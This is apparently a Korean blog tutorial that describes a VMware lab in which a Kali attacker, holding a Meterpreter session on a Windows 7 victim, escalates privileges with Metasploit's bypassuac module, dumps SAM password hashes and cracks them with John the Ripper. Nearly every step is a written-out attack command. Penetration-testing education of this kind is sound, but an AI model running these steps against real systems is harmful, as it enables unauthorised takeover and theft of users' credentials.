해당 게시글은 kali linux 2017 amd64기준임을 말씀드립니다.
해당 게시글을 보기 전에 필수적으로 Metasploit - Reverse TCP를 이용한 세션 연결이 필요합니다.
실습 환경은 다음과 같습니다.
구분 |
내용 |
공격자 PC 환경 |
Kali Linux 2017 amd 64 |
피해자 PC 환경 |
Windows 7 Pro 32Bit |
가상 환경 |
VMware Player(or Workstation) |
01. Metasploit BypassUAC Exploit 실습
해당 실습은 Metasploit - Reverse TCP Exploit과 연결되어 진행되는 실습이기 때문에 위의 실습과정 이후 실습을 진행하기 바랍니다.
먼저 exploit을 이미 진행하였다는 가정 하에 meterpreter > 가 띄워져 있다고 가정을 하고 진행하도록 하겠습니다.
다음 명령어를 사용하여 system의 권한을 가져와 권한상승을 시도해보도록 합시다.
명령어는 다음과 같습니다.
meterpreter > getsystem |
getsystem 명령어를 사용해본 결과 실패했다는 문구가 뜨고 변화가 없는 모습을 보여줍니다.
이는 적절한 사전 준비가 되지 않았음을 의미합니다.
여기서 우리는 bypassuac라는 exploit 기법을 이용하여 세션의 힘을 더해줄 필요가 있습니다.
02. Exploit 활용 - bypassuac를 이용한 권한 상승
먼저 다음 명령어를 통해 세션을 background로 보내도록 합니다.
명령어는 다음과 같습니다.
meterpreter > background |
기존의 세션을 백그라운드로 보내면 다시 권한상승을 위한 모듈을 로드해야 합니다.
여기서 필요한 건, bypassuac 모듈과 백그라운드로 보낸 세션의 번호입니다.
사용할 명령어는 다음과 같습니다.
msf exploit(handler) > use exploit/windows/local/bypassuac msf exploit(bypassuac) > set SESSION 1 |
우리가 연결했던 세션의 번호가 1이라면, bypassuac에서도 동일하게 해당 세션을 통해 연결을 수행할 계획입니다.
즉, 이미 연결된 세션을 통해 bypassuac의 exploit이 수행된다는 의미입니다.
해당 명령어를 사용하여 bypassuac로 변경한 후, 우리가 사용하고 있었던 sessions 1을 bypassuaac에 설정해줍니다.
그러면 이제 bypassuac도 우리가 연결해두었던 세션을 통해 새로운 기능을 사용할 수 있게 됩니다.
이제 exploit을 진행해보도록 합시다.
명령어는 단순하게 다음과 같습니다.
msf exploit(handler) > exploit |
해당 명령어를 실행하면 새로운 세션이 Default Port를 통해 생성됩니다.
session ID는 2로 생성될 것입니다.
이제 새롭게 생성된 session에서 getsystem을 사용해보도록 합시다.
명령어는 다음과 같습니다.
meterpreter > getsystem |
해당 명령어를 실행하면 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).이라는 문구와 함께 시스템의 권한이 상승되었음을 알려줍니다.
해당 시스템에서 우리의 권한이 어느정도 되는지 확인해보도록 합시다.
명령어는 다음과 같습니다.
meterpreter > getuid meterpreter > getsid |
해당 명령어를 사용하여 권한을 확인해보면 NT AUTHORITY\SYSTEM이 보이면서 S-1-5-18임을 확인 할 수 있습니다.
이는 SYSTEM 권한임을 알려주며, Windows 7에서는 Trusted Installer 다음으로 가장 높은 권한입니다.
즉, Administrator 권한보다 높은 권한으로 많은 기능을 제약없이 사용할 수 있게 되었다는 의미입니다.
03. Exploit 활용 - SAM 내부에 있는 Hashdump 추출
SAM 파일은 타겟 윈도우 시스템의 사용자의 계정명과 패스워드 해시를 저장하는 파일입니다.
원래는 Administrator 권한이더라도 해당 SAM 파일에 대한 읽기 권한, 쓰기 권한이 존재하지 않습니다.
하지만 해당 파일에는 우리가 원하는 계정명과 Hash 등의 정보가 있기 때문에 이 파일에 접근해야 하니다.
단, 이는 반드시 권한상승이 되어 있는 상태에서 가능한 실습입니다.
때문에 위의 실습을 모두 마치고 진행해야 합니다.
다음 명령어를 통해 SAM 파일에 있는 Hashdump를 사용하여 해당 정보를 가져오도록 합시다.
meterpreter > run post/windows/gather/hashdump |
해당 명령어를 사용하면 각 계정별 Hash 값 및 계정 정보를 얻을 수 있습니다. 이제 해당 값을 복사하여 크랙을 시작하도록 합시다.
04. Exploit - john the ripper를 이용한 크랙
이제 우리가 사용할 프로그램은 john the ripper라는 프로그램으로 Hashdump 파일을 크랙하기 위해 필요한 프로그램입니다.
위의 두 파일은 우리가 크랙하기 위한 Windows Hashdump 파일과 사전공격(Dictionary Attack)을 위한 사전 파일입니다.
Hashdump 파일을 살펴보면 세 개의 계정에 대한 정보가 나타나 있는 것을 볼 수 있습니다.
다음 명령을 통해 Hashdump파일을 크랙하도록 합시다.
파일 |
설명 |
HashFile.txt |
해쉬 덤프를 저장한 파일 |
PW.txt |
패스워드 사전 공격에 필요한 데이터를 저장한 파일 |
명령어는 다음과 같습니다.
~# john /root/Desktop/HashFile.txt -format=NT -wordlist=/root/Desktop/PW.txt |
PW.txt에는 해당 해쉬값의 정답이 들어있기 때문에 0초밖에 걸리지 않았다고 하지만, 실제로는 매우 오래 걸리는 작업입니다.
여기까지 실습을 마치도록 하겠습니다.
'LINUX > Kali Linux' 카테고리의 다른 글
Metasploit - Reverse TCP를 이용한 PC원격 조종 (2) | 2017.07.16 |
---|